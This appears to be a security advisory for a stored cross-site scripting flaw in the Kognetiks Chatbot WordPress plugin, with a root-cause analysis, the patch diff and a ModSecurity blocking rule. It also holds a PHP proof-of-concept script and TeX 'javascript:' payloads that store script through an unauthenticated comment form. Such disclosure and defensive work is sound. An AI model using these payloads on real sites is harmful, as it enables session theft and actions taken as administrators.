Published : November 24, 2026

CVE-2026-131645: Kognetiks Chatbot <= 2.5.9 Unauthenticated Stored DOM-Based Cross-Site Scripting via 'comment' Parameter via MathJax Rendering PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.5.9
Patched Version 2.6.0
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-131645: The Kognetiks Chatbot WordPress plugin (<= 2.5.9) suffers from unauthenticated stored DOM-based cross-site scripting via the 'comment' parameter. The vulnerability is enabled by MathJax being loaded on every page by default, with no guard for chatbot or shortcode presence. The CVSS score is 7.2 (High).

The root cause lies in two areas. First, the 'comment' parameter in WordPress core comment submission is not sanitized for TeX expressions by the plugin, and the plugin does not escape output when rendering comments that contain MathJax syntax. Second, in chatbot-chatgpt.php, the function enqueue_mathjax_with_custom_config() (lines 713-878 in the diff) unconditionally configures and enqueues MathJax on all pages when the option chatbot_chatgpt_enable_mathjax is 'Yes' (the default). MathJax then processes the page and interprets TeX delimiters, allowing script execution via specially crafted TeX that bypasses WordPress kses because it contains no HTML tags. The option is checked without verifying that a chatbot is actually rendered on the page, as evidenced by the removal of the add_action('wp_enqueue_scripts', 'enqueue_mathjax_with_custom_config') call and its relocation to the shortcode rendering function. The patch adds a call to enqueue_mathjax_with_custom_config() only inside the shortcode function (chatbot-shortcode.php, line 955), thereby restricting MathJax to pages with a chatbot.

An attacker can exploit this by submitting a comment containing a malicious TeX payload in the 'comment' parameter of a post's comment form (e.g., POST /wp-comments-post.php with comment=…). The payload uses MathJax's TeX parsing to execute JavaScript, for example: $$href{javascript:alert(document.cookie)}{click}$$ or a similar vector that survives kses because it includes no HTML tags. When a victim views the comment on the front end, MathJax renders the TeX and executes the script. No authentication is required, so any visitor can submit such a comment.

The patch changes the MathJax enqueueing strategy. Previously, MathJax was enqueued on every page via wp_enqueue_scripts, causing it to process all content including comments. Now, the enqueue function is called from within chatbot_chatgpt_shortcode(), so MathJax is only loaded when a chatbot shortcode is rendered. This prevents MathJax from processing pages that lack a chatbot, such as single post pages with comments, thereby blocking the XSS vector. Additionally, the patch introduces a safer MathJax configuration with 'safe' options and a bundled ui/safe module, and checks for foreign MathJax instances to avoid conflicts. These measures further harden MathJax rendering.

The impact of exploitation is stored XSS that can execute in the context of any user visiting the affected page, including administrators. This allows attackers to steal cookies, perform arbitrary actions as the victim, inject further malicious scripts, or escalate privileges. Since the payload is stored in a comment, it persists until removed, potentially affecting many users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/chatbot-chatgpt/assets/js/ui/index.php
+++ b/chatbot-chatgpt/assets/js/ui/index.php
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
--- a/chatbot-chatgpt/chatbot-chatgpt.php
+++ b/chatbot-chatgpt/chatbot-chatgpt.php
@@ -4,7 +4,7 @@
  * Plugin Name: Kognetiks Chatbot
  * Plugin URI:  https://github.com/kognetiks/kognetiks-chatbot
  * Description: This simple plugin adds an AI powered chatbot to your WordPress website.
- * Version:     2.5.9
+ * Version:     2.6.0
  * Author:      Kognetiks.com
  * Author URI:  https://www.kognetiks.com
  * Text Domain: chatbot-chatgpt
@@ -29,7 +29,7 @@
  * along with Kognetiks Chatbot. If not, see https://www.gnu.org/licenses/gpl-3.0.html.
  *
  * @package chatbot-chatgpt
- * @version 2.5.9
+ * @version 2.6.0
  * @author Kognetiks.com
  */
 if ( !defined( 'ABSPATH' ) ) {
@@ -84,7 +84,7 @@
     ob_start();
     // Plugin version
     global $chatbot_chatgpt_plugin_version;
-    $chatbot_chatgpt_plugin_version = '2.5.9';
+    $chatbot_chatgpt_plugin_version = '2.6.0';
     // Plugin directory path
     global $chatbot_chatgpt_plugin_dir_path;
     $chatbot_chatgpt_plugin_dir_path = plugin_dir_path( __FILE__ );
@@ -713,33 +713,165 @@
     }

     add_action( 'wp_enqueue_scripts', 'chatbot_chatgpt_enqueue_scripts' );
-    // Enqueue MathJax with custom configuration - Ver 2.1.2
-    // https://docs.mathjax.org/en/latest/
-    // https://github.com/mathjax/MathJax/blob/master/LICENSE
-    // https://cdnjs.cloudflare.com/ajax/libs/mathjax/3.2.0/es5/tex-mml-chtml.js
-    // https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js
+    // MathJax configuration for the bundled 3.2.0 build - 2026 11 17
+    // https://docs.mathjax.org/en/v3.2.2/options/safe.html
+    // ui/safe is vendored at assets/js/ui/safe.js and is loaded from the plugin, not a CDN.
+    // Read this plugin's header. Other Kognetiks plugins reuse $chatbot_chatgpt_plugin_version.
+    function chatbot_chatgpt_mathjax_asset_version() {
+        static $chatbot_mathjax_asset_version = null;
+        if ( null !== $chatbot_mathjax_asset_version ) {
+            return $chatbot_mathjax_asset_version;
+        }
+        $chatbot_mathjax_asset_version = '2.6.0';
+        $plugin_header = file_get_contents(
+            __FILE__,
+            false,
+            null,
+            0,
+            8192
+        );
+        if ( is_string( $plugin_header ) && preg_match( '/^[ \t]*\*[ \t]*Version:[ \t]*([^\r\n]+)/mi', $plugin_header, $version_match ) ) {
+            $header_version = trim( $version_match[1] );
+            if ( '' !== $header_version ) {
+                $chatbot_mathjax_asset_version = $header_version;
+            }
+        }
+        return $chatbot_mathjax_asset_version;
+    }
+
+    // Another plugin's MathJax already owns window.MathJax when its script is queued.
+    // A registered-but-not-queued handle does not print, so it does not take ownership.
+    function chatbot_chatgpt_foreign_mathjax_is_active() {
+        global $wp_scripts;
+        if ( !$wp_scripts instanceof WP_Scripts ) {
+            return false;
+        }
+        $our_handles = array(
+            'chatbot-mathjax-security' => true,
+            'chatbot-chatgpt-mathjax'  => true,
+        );
+        foreach ( $wp_scripts->registered as $handle => $script ) {
+            $handle = (string) $handle;
+            if ( isset( $our_handles[$handle] ) ) {
+                continue;
+            }
+            $src = ( is_object( $script ) && isset( $script->src ) ? (string) $script->src : '' );
+            $handle_match = 'mathjax' === $handle || 0 === strpos( $handle, 'mathjax-' );
+            $src_match = false !== stripos( $src, 'mathjax' ) || false !== stripos( $src, 'tex-mml-chtml' ) || false !== stripos( $src, 'tex-chtml' ) || false !== stripos( $src, 'tex-svg' );
+            if ( !$handle_match && !$src_match ) {
+                continue;
+            }
+            if ( wp_script_is( $handle, 'enqueued' ) || wp_script_is( $handle, 'done' ) || wp_script_is( $handle, 'queue' ) ) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    function chatbot_chatgpt_mathjax_runtime_config(  $script_base_url, $font_url  ) {
+        return array(
+            'loader'  => array(
+                'load'  => array('ui/safe'),
+                'paths' => array(
+                    'mathjax' => (string) $script_base_url,
+                ),
+            ),
+            'startup' => array(
+                'typeset' => false,
+            ),
+            'options' => array(
+                'enableMenu'  => false,
+                'safeOptions' => array(
+                    'allow'         => array(
+                        'URLs'    => 'safe',
+                        'classes' => 'none',
+                        'cssIDs'  => 'none',
+                        'styles'  => 'safe',
+                    ),
+                    'safeProtocols' => array(
+                        'http'       => true,
+                        'https'      => true,
+                        'file'       => false,
+                        'javascript' => false,
+                        'data'       => false,
+                        'vbscript'   => false,
+                    ),
+                ),
+            ),
+            'tex'     => array(
+                'inlineMath'  => array(array('$', '$'), array('\(', '\)')),
+                'displayMath' => array(array('$$', '$$'), array('\[', '\]')),
+            ),
+            'chtml'   => array(
+                'fontURL' => (string) $font_url,
+            ),
+        );
+    }
+
+    // Enqueue MathJax only for a rendered chatbot when glyph rendering is enabled.
+    // wp_enqueue_scripts cannot see every shortcode, template, or widget render, so
+    // chatbot_chatgpt_shortcode() calls this while the chatbot markup is produced.
     function enqueue_mathjax_with_custom_config() {
-        // Check to see if MathJax is enabled
-        if ( esc_attr( get_option( 'chatbot_chatgpt_enable_mathjax', 'Yes' ) ) === 'Yes' ) {
-            global $chatbot_chatgpt_plugin_version;
-            global $chatbot_chatgpt_plugin_dir_url;
-            // Add the MathJax configuration script
-            $mathjax_config = "rn        window.MathJax = {rn            tex: {rn                inlineMath: [['$', '$'], ['\\(', '\\)']],rn                displayMath: [['$$', '$$'], ['\\[', '\\]']],rn            },rn            chtml: {rn                fontURL: '" . plugin_dir_url( __FILE__ ) . "assets/fonts/woff-v2'rn            }rn        };rn        ";
-            // Enqueue the MathJax script
-            // wp_enqueue_script( 'mathjax', plugin_dir_url(__FILE__) . 'assets/js/tex-chtml.js', array(), $chatbot_chatgpt_plugin_version, true );
+        if ( esc_attr( get_option( 'chatbot_chatgpt_enable_mathjax', 'Yes' ) ) !== 'Yes' ) {
+            return;
+        }
+        if ( wp_script_is( 'chatbot-chatgpt-mathjax', 'enqueued' ) || wp_script_is( 'chatbot-chatgpt-mathjax', 'done' ) ) {
+            return;
+        }
+        // A foreign MathJax was already accepted for this request. Do not load a second copy.
+        if ( wp_script_is( 'chatbot-mathjax-security', 'enqueued' ) || wp_script_is( 'chatbot-mathjax-security', 'done' ) ) {
+            return;
+        }
+        $mathjax_version = chatbot_chatgpt_mathjax_asset_version();
+        $script_base_url = plugin_dir_url( __FILE__ ) . 'assets/js';
+        $security_src = $script_base_url . '/chatbot-mathjax-security.js';
+        if ( chatbot_chatgpt_foreign_mathjax_is_active() ) {
+            // Keep the click guard. Do not configure, wrap, or typeset with the other library.
             wp_enqueue_script(
-                'mathjax',
-                $chatbot_chatgpt_plugin_dir_url . 'assets/js/tex-mml-chtml.js',
+                'chatbot-mathjax-security',
+                $security_src,
                 array(),
-                $chatbot_chatgpt_plugin_version,
+                $mathjax_version,
                 true
             );
-            // Add the inline script before MathJax script
-            wp_add_inline_script( 'mathjax', $mathjax_config, 'before' );
+            wp_add_inline_script( 'chatbot-mathjax-security', 'window.chatbotMathJaxForeign = true;', 'before' );
+            if ( did_action( 'wp_print_footer_scripts' ) ) {
+                wp_print_scripts( 'chatbot-mathjax-security' );
+            }
+            return;
+        }
+        $font_url = plugin_dir_url( __FILE__ ) . 'assets/fonts/woff-v2';
+        $mathjax_config = chatbot_chatgpt_mathjax_runtime_config( $script_base_url, $font_url );
+        $mathjax_config['chatbotOwned'] = true;
+        $version_literal = wp_json_encode( $mathjax_version );
+        $mathjax_before = 'window.MathJax = ' . wp_json_encode( $mathjax_config ) . ';';
+        $mathjax_before .= 'window.MathJax.loader.pathFilters = window.MathJax.loader.pathFilters || [];';
+        $mathjax_before .= 'window.MathJax.loader.pathFilters.push([function (data) {';
+        $mathjax_before .= 'if (data && typeof data.name === "string" && data.name.indexOf("/ui/safe.js") !== -1 && data.name.indexOf("ver=") === -1) {';
+        $mathjax_before .= 'data.name += "?ver=" + encodeURIComponent(' . $version_literal . ');';
+        $mathjax_before .= '} return true; }, 30]);';
+        wp_enqueue_script(
+            'chatbot-mathjax-security',
+            $security_src,
+            array(),
+            $mathjax_version,
+            true
+        );
+        wp_enqueue_script(
+            'chatbot-chatgpt-mathjax',
+            $script_base_url . '/tex-mml-chtml.js',
+            array('chatbot-mathjax-security'),
+            $mathjax_version,
+            true
+        );
+        wp_add_inline_script( 'chatbot-chatgpt-mathjax', $mathjax_before, 'before' );
+        wp_add_inline_script( 'chatbot-chatgpt-mathjax', 'if (window.MathJax) { window.MathJax.chatbotOwned = true; } if (typeof chatbotInstallMathJaxGuard === "function") { chatbotInstallMathJaxGuard(); }', 'after' );
+        // A chatbot printed after the footer script queue still receives the guarded library.
+        if ( did_action( 'wp_print_footer_scripts' ) ) {
+            wp_print_scripts( 'chatbot-chatgpt-mathjax' );
         }
     }

-    add_action( 'wp_enqueue_scripts', 'enqueue_mathjax_with_custom_config' );
     // CORS - Cross Origin Resource Sharing - CAUTION: This allows all domains to access the end point - Ver 2.1.2
     // function allow_cross_domain_requests() {
     //     header("Access-Control-Allow-Origin: *");
--- a/chatbot-chatgpt/includes/chatbot-shortcode.php
+++ b/chatbot-chatgpt/includes/chatbot-shortcode.php
@@ -952,6 +952,9 @@
         : '';


+    // Glyph rendering follows the chatbot instance. Pages without one do not load MathJax.
+    enqueue_mathjax_with_custom_config();
+
     // Depending on the style, adjust the output - Ver 1.7.1
     if ($chatbot_chatgpt_display_style == 'embedded') {
         // Code for embed style ('embedded' is the alternative style)

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:20261316,phase:2,deny,status:403,chain,msg:'CVE-2026-131645 Stored XSS via comment parameter',severity:'CRITICAL',tag:'CVE-2026-131645'"
  SecRule ARGS_POST:comment "@rx $$[^$]*\href{[^}]*javascript:[^}]*}" 
    "t:urlDecode,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-131645 - Kognetiks Chatbot <= 2.5.9 - Unauthenticated Stored DOM-Based XSS via 'comment' parameter

// Configuration
$target_url = 'http://example.com'; // Change to the WordPress site URL
$post_id = 1; // ID of a post that allows comments

// Malicious TeX payload that executes JS via MathJax. This payload contains no HTML tags.
// Using href with javascript: protocol which MathJax will render as a link that executes JS on click.
// Adjust the payload as needed; this is a proof of concept.
$payload = '$$\href{javascript:alert(document.domain)}{Click me}$$';

// Initialize cURL session
$ch = curl_init();

// Set the comment submission endpoint
$url = $target_url . '/wp-comments-post.php';

// Comment data
$data = array(
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment_post_ID' => $post_id,
    'comment_parent' => '0',
    // WordPress may require a nonce, but often not for unauthenticated comments.
    // If a nonce is required, an attacker can obtain it from the comment form page.
    // For simplicity, this PoC assumes no nonce is needed (default WordPress behavior).
);

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request and submit the comment
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the comment was submitted successfully
if ($http_code == 200 && strpos($response, 'comment') !== false) {
    echo "Comment submitted successfully. The XSS payload is now stored.n";
    echo "Visit the post at: $target_url/?p=$post_id to trigger the XSS.n";
} else {
    echo "Failed to submit comment. HTTP code: $http_coden";
}

// To trigger the XSS: The post page must have MathJax loaded (if the plugin is active and option enabled).
// The payload will execute when a user clicks the link or if the TeX triggers automatic execution.
// Note: Some WordPress configurations may have comment moderation or nonce requirements; adjust accordingly.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.